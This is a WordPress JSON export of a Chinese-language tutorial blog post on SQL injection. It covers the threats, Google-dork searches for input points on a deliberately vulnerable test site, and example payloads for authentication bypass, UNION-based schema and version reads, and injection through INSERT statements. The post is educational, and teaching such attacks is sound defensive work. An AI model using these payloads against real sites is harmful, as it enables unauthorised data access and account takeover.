{"id":257,"date":"2020-08-03T20:25:58","date_gmt":"2020-08-03T12:25:58","guid":{"rendered":"http:\/\/note.systw.net\/note\/?p=257"},"modified":"2025-09-02T12:17:47","modified_gmt":"2025-09-02T04:17:47","slug":"sql-injection","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/257","title":{"rendered":"SQL Injection"},"content":{"rendered":"\n<div class=\"wp-block-jetpack-markdown\"><p>SQL\u6ce8\u5165\u662f\u4e00\u7a2e\u8cc7\u6599\u5eab\u653b\u64ca\u6280\u8853\uff0c\u653b\u64ca\u8005\u6703\u5229\u7528\u7db2\u7ad9\u6216\u61c9\u7528\u7a0b\u5f0f\u6c92\u6709\u5c0d\u4f7f\u7528\u8005\u8f38\u5165\u9032\u884c\u8db3\u5920\u9a57\u8b49\u7684\u5f31\u9ede\uff0c\u5c07\u60e1\u610f\u7684SQL\u6307\u4ee4\u63d2\u5165\u5230\u8f38\u5165\u6b04\u4f4d\u4e2d\uff0c\u9019\u6bb5\u60e1\u610f\u6307\u4ee4\u6703\u88ab\u50b3\u9001\u5230\u8cc7\u6599\u5eab\u57f7\u884c\uff0c\u5f9e\u800c\u6539\u8b8a\u539f\u59cb\u7684\u67e5\u8a62\u884c\u70ba\u3002<\/p>\n<h3>SQL Injection\u5a01\u8105<\/h3>\n<p>*\u53ef\u4ee5\u5f97\u5230\u8cc7\u6599\u5eab\u4e2d\u7684\u4e00\u4e9b\u91cd\u8981\u8cc7\u6599\uff0c\u4f8b\u5982\u5e33\u865f\u3001\u5bc6\u78bc\u3001\u59d3\u540d\u3001\u5730\u5740\u7b49\u7b49.<br>\n*\u53ef\u4ee5\u53d6\u5f97\u8cc7\u6599\u5eab\u7cfb\u7d71\u904b\u4f5c\u7684schema\uff0c\u5f97\u5230\u8cc7\u6599\u5eab\u7684\u8868\u683c\u540d\u7a31\u3001\u6b04\u4f4d\u540d\u7a31\u7b49\uff0c\u63d0\u4f9b\u653b\u64ca\u8005\u9032\u4e00\u6b65\u7684\u9032\u653b\u76f8\u95dc\u8cc7\u8a0a.<br>\n*\u5b58\u5165\u60e1\u610fsql\u6216\u4fee\u6539\u8cc7\u6599\u5eab\u7684\u8cc7\u6599\uff0c\u4f8b\u5982\u4fee\u6539\u7279\u5b9a\u4f7f\u7528\u8005\u6216\u7cfb\u7d71\u7ba1\u7406\u54e1\u7684\u5bc6\u78bc.<br>\n*\u522a\u9664\u91cd\u8981\u7684\u8cc7\u6599\u9020\u6210\u7cfb\u7d71\u7121\u6cd5\u6b63\u5e38\u904b\u4f5c\uff0c\u5c0e\u81f4\u7cfb\u7d71\u7671\u7613.<br>\n*\u900f\u904e\u8cc7\u6599\u5eabSQL\u57f7\u884c\u4f5c\u696d\u7cfb\u7d71\u7684\u6307\u4ee4,\u9019\u5141\u8a31\u653b\u64ca\u8005\u53ef\u4ee5\u63a7\u5236\u6574\u500b\u4f5c\u696d\u7cfb\u7d71<\/p>\n<p>\u00a0<\/p>\n<h3>\u57fa\u672csql\u6ce8\u5165\u7bc4\u4f8b<\/h3>\n<p>\u5047\u8a2d\u539f\u59cbsql\u5982\u4e0b<br>\n<code>SELECT Title,Content FROM articles WHERE id = $id<\/code><br>\n\u5047\u8a2d\u8f38\u5165\u9ede\u5982\u4e0b<br>\n<code>http:\/\/example.com\/show.php?id=1<\/code><\/p>\n<p>\u900f\u904e\u4ee5\u4e0bsql injection\u53ef\u6539\u8b8a\u8cc7\u6599\u5eab\u64cd\u4f5c\u884c\u70ba<br>\n<code>http:\/\/example.com\/show.php?id=1 or 1=1<\/code><\/p>\n<p>\u56e0\u70ba\u65b0\u7684sql\u6703\u8b8a\u4ee5\u4e0b\uff0c\u9019\u6703\u5c07\u6240\u6709\u8cc7\u6599\u6488\u51fa\n<code>SELECT Title,Content FROM articles WHERE id =1 or 1=1<\/code><\/p>\n<p>\u00a0<\/p>\n<h3>Steps for performing sql injection<\/h3>\n<p>1\u5c0b\u627e\u8f38\u5165\u9ede<br>\n2\u6e2c\u8a66\u662f\u5426\u6709\u6f0f\u6d1e<br>\n3\u6ce8\u5165\u4e0d\u5408\u6cd5\u7684sql\u6307\u4ee4<\/p>\n<p>\u00a0<\/p>\n<hr>\n<h3>1\u5c0b\u627e\u8f38\u5165\u9ede<\/h3>\n<p>\u5224\u65b7\u4f7f\u7528get\u6216post\u65b9\u5f0f\u6ce8\u5165<\/p>\n<p>ex:<br>\n\u5c0b\u627etestphp.vulnweb.com\u7684\u8f38\u5165\u9ede<br>\n\u7528google\u641c\u5c0b<code>inurl:id= site:testphp.vulnweb.com<\/code>\u53ef\u4ee5\u767c\u73feGet\u8f38\u5165\u9ede<\/p>\n<p>ex:<br>\n\u5c0b\u627evulnweb.com\u57df\u540d\u5167\u6240\u6709\u53ef\u80fd\u8f38\u5165\u9ede\n\u7528google\u641c\u5c0b<code>intext:&quot;search&quot; site:vulnweb.com<\/code>\u53ef\u4ee5\u767c\u73fePost\u8f38\u5165\u9ede<\/p>\n<p>\u00a0<\/p>\n<hr>\n<h3>2\u6e2c\u8a66\u662f\u5426\u6709\u6f0f\u6d1e<\/h3>\n<p>\u5728\u8f38\u5165\u9ede\u8f38\u5165\u7279\u6b8a\u5b57\u4e32\u5224\u65b7\u662f\u5426\u6709\u5f31\u9ede<br>\n\u4f9d\u64da\u4e0d\u540csource code\u5beb\u6cd5\u6709\u4ee5\u4e0b\u4e0d\u540c\u7684\u5c0d\u61c9\u65b9\u5f0f<\/p>\n<pre><code>ex:\n' or 1=1--\n&quot; or 1=1--\n' or 'a'='a\n&quot; or &quot;a&quot;=&quot;a\n') or ('a'='a)\n<\/code><\/pre>\n<p>ps:<br>\n\u5176\u4ed6\u900f\u904e\u55ae\u5f15\u865f\u5224\u65b7\u7684\u65b9\u5f0f<br>\nhttps:\/\/hebrtcp.wordpress.com\/2015\/09\/04\/sql-injection%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A\/<br>\nhttps:\/\/medium.com\/@gordonfang_85054\/\u8cc7\u5b89\u6ef2\u900f\u653b\u9632\u7b46\u8a18-1-c9a6b8ada5fa<\/p>\n<p>\u00a0<\/p>\n<hr>\n<h3>3\u6ce8\u5165\u4e0d\u5408\u6cd5\u7684sql\u6307\u4ee4<\/h3>\n<p>\u5e38\u898b\u7684\u6ce8\u5165\u50cf\u662fauthorization bypass\uff0c\u900f\u904eselect command\u6316\u8cc7\u6599\uff0c\u900f\u904einsert command\u6ce8\u5165\u8cc7\u6599\u7b49<\/p>\n<h4>authorization bypass<\/h4>\n<p>\u7bc4\u4f8b1\u5982\u4e0b<\/p>\n<pre><code>\u5047\u8a2d\u539f\u59cbsql\u5982\u4e0b\n&quot;SELECT * FROM users WHERE (id= '&quot;+username+&quot;') and (pw= '&quot;+ password+&quot;');&quot;\n\n\u900f\u904e\u4ee5\u4e0b\u53ef\u4ee5\u9952\u904e\u8a8d\u8b49\nusername = &quot;1' OR '1'='1&quot;;\npassword = &quot;1' OR '1'='1&quot;;\n\n\u56e0\u70ba\u65b0\u7684sql\u6703\u8b8a\u4ee5\u4e0b\uff0c\u6539\u8b8a\u539f\u672c\u884c\u70ba\n&quot;SELECT * FROM users WHERE (id= '1' OR '1'='1') and (pw= '1' OR '1'='1');&quot;\n<\/code><\/pre>\n<p>\u7bc4\u4f8b2\u5982\u4e0b<\/p>\n<pre><code>\u5047\u8a2d\u539f\u59cbsql\u5982\u4e0b\nSELECT * FROM user WHERE account = '$account' AND\u3000password = '$password'  \n\n\u900f\u904e\u4ee5\u4e0b\u53ef\u4ee5\u9952\u904e\u8a8d\u8b49\n$account= 'OR 1=1 #\n\n\u56e0\u70ba\u65b0\u7684sql\u6703\u8b8a\u4ee5\u4e0b\uff0c\u6539\u8b8a\u539f\u672c\u884c\u70ba\nSELECT * FROM user WHERE account = '' OR 1=1 # AND\u3000password = '' \n<\/code><\/pre>\n<p>refer<br>\nhttps:\/\/web.ctflearn.com\/web04<\/p>\n<p>\u00a0<\/p>\n<h4>\u900f\u904eselect command\u8b80\u53d6\u8cc7\u6599<\/h4>\n<p>\u50cf\u662f\u8b80\u53d6\u7ba1\u7406\u8005\u5bc6\u78bc<\/p>\n<p>\u7bc4\u4f8b1\u5982\u4e0b<\/p>\n<pre><code>\u5047\u8a2d\u539f\u59cbsql\u5982\u4e0b\nSELECT author,title FROM blog WHERE id=$id\n\n\u5982\u679c$id\u6ce8\u5165\u4ee5\u4e0b\u53ef\u6488\u5230\u76f8\u95dc\u8cc7\u8a0a\n0 UNION SELECT table_name, column_name FROM INFORMATION_SCHEMA.COLUMNS\n\n\u56e0\u70ba\u65b0\u7684sql\u6703\u8b8a\u4ee5\u4e0b\uff0c\u6539\u8b8a\u539f\u672c\u884c\u70ba\nSELECT author,title FROM blog WHERE id=0 UNION SELECT  table_name, column_name FROM INFORMATION_SCHEMA.COLUMNS\n<\/code><\/pre>\n<p>\u7bc4\u4f8b2\u5982\u4e0b<\/p>\n<pre><code>\u5047\u8a2d\u539f\u59cbsql\u5982\u4e0b\nSELECT * FROM user WHERE account = '$account' AND\u3000password = '$password'  \n\n\u5982\u679c$account\u6ce8\u5165\u4ee5\u4e0b\u53ef\u6488\u5230\u76f8\u95dc\u8cc7\u8a0a\n'UNION SELECT  @@version,database()#\n\n\u56e0\u70ba\u65b0\u7684sql\u6703\u8b8a\u4ee5\u4e0b\uff0c\u6539\u8b8a\u539f\u672c\u884c\u70ba\nSELECT * FROM user WHERE account = ''UNION SELECT  @@version,database()# AND\u3000password = '' \n<\/code><\/pre>\n<p>ps:<br>\n@@Version\uff1aTransact SQL Configuration Functions<\/p>\n<p>refer<br>\nhttps:\/\/web.ctflearn.com\/web4\/<\/p>\n<p>\u00a0<\/p>\n<h4>\u5beb\u5165\u8cc7\u6599<\/h4>\n<p>\u50cf\u662f\u589e\u52a0\u4e00\u500b\u7ba1\u7406\u8005\u5e33\u865f\uff0c\u6216\u662f\u66f4\u6539\u7ba1\u7406\u8005\u5bc6\u78bc<\/p>\n<p>\u900f\u904einsert command\u6ce8\u5165\u8cc7\u6599\uff0c\u6216update command\u6539\u8b8a\u8cc7\u6599<br>\n\u7bc4\u4f8b\u5982\u4e0b<\/p>\n<pre><code>\u5047\u8a2d\u539f\u59cbsql\u5982\u4e0b\n&quot;insert into tablename values (&quot;+$name+&quot;,&quot;+$email+&quot;,&quot;+&quot;$phone&quot;)&quot;\n\n\u5982\u679c$name\u586b\u5165\u4ee5\u4e0b\u53ef\u5b58\u5165sql\u8a9e\u6cd5\n(select top 1 fieldname from tablename)\n\n\u56e0\u70ba\u65b0\u7684sql\u6703\u8b8a\u4ee5\u4e0b\uff0c\u6539\u8b8a\u539f\u672c\u884c\u70ba\n&quot;insert into tablename values (&quot;+(select top 1 fieldname from tablename)+&quot;,&quot;ray@ray.com&quot;,&quot;666-6666&quot;)&quot;\n\n\u4e4b\u5f8c\u914d\u5408\u539f\u672c\u5c0d\u61c9\u7a0b\u5f0f\u6488\u51fa\u4f86\u5f8c\uff0c\u5c31\u6703\u57f7\u884cselect top 1 fieldname from tablename\n<\/code><\/pre>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>SQL\u6ce8\u5165\u662f\u4e00\u7a2e\u8cc7\u6599\u5eab\u653b\u64ca\u6280\u8853\uff0c\u653b\u64ca\u8005\u6703\u5229\u7528\u7db2\u7ad9\u6216\u61c9\u7528\u7a0b\u5f0f\u6c92\u6709\u5c0d\u4f7f\u7528\u8005\u8f38\u5165\u9032\u884c\u8db3\u5920\u9a57\u8b49\u7684\u5f31\u9ede\uff0c\u5c07\u60e1\u610f\u7684SQL\u6307\u4ee4\u63d2\u5165\u5230\u8f38\u5165\u6b04\u4f4d\u4e2d\uff0c\u9019\u6bb5\u60e1\u610f\u6307\u4ee4\u6703\u88ab\u50b3\u9001\u5230\u8cc7\u6599\u5eab\u57f7\u884c\uff0c\u5f9e\u800c\u6539\u8b8a\u539f\u59cb\u7684\u67e5\u8a62\u884c\u70ba\u3002<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"enabled":false},"version":2}},"categories":[38],"tags":[],"class_list":["post-257","post","type-post","status-publish","format-standard","hentry","category-serverside"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/257","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=257"}],"version-history":[{"count":4,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/257\/revisions"}],"predecessor-version":[{"id":2769,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/257\/revisions\/2769"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=257"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=257"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=257"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}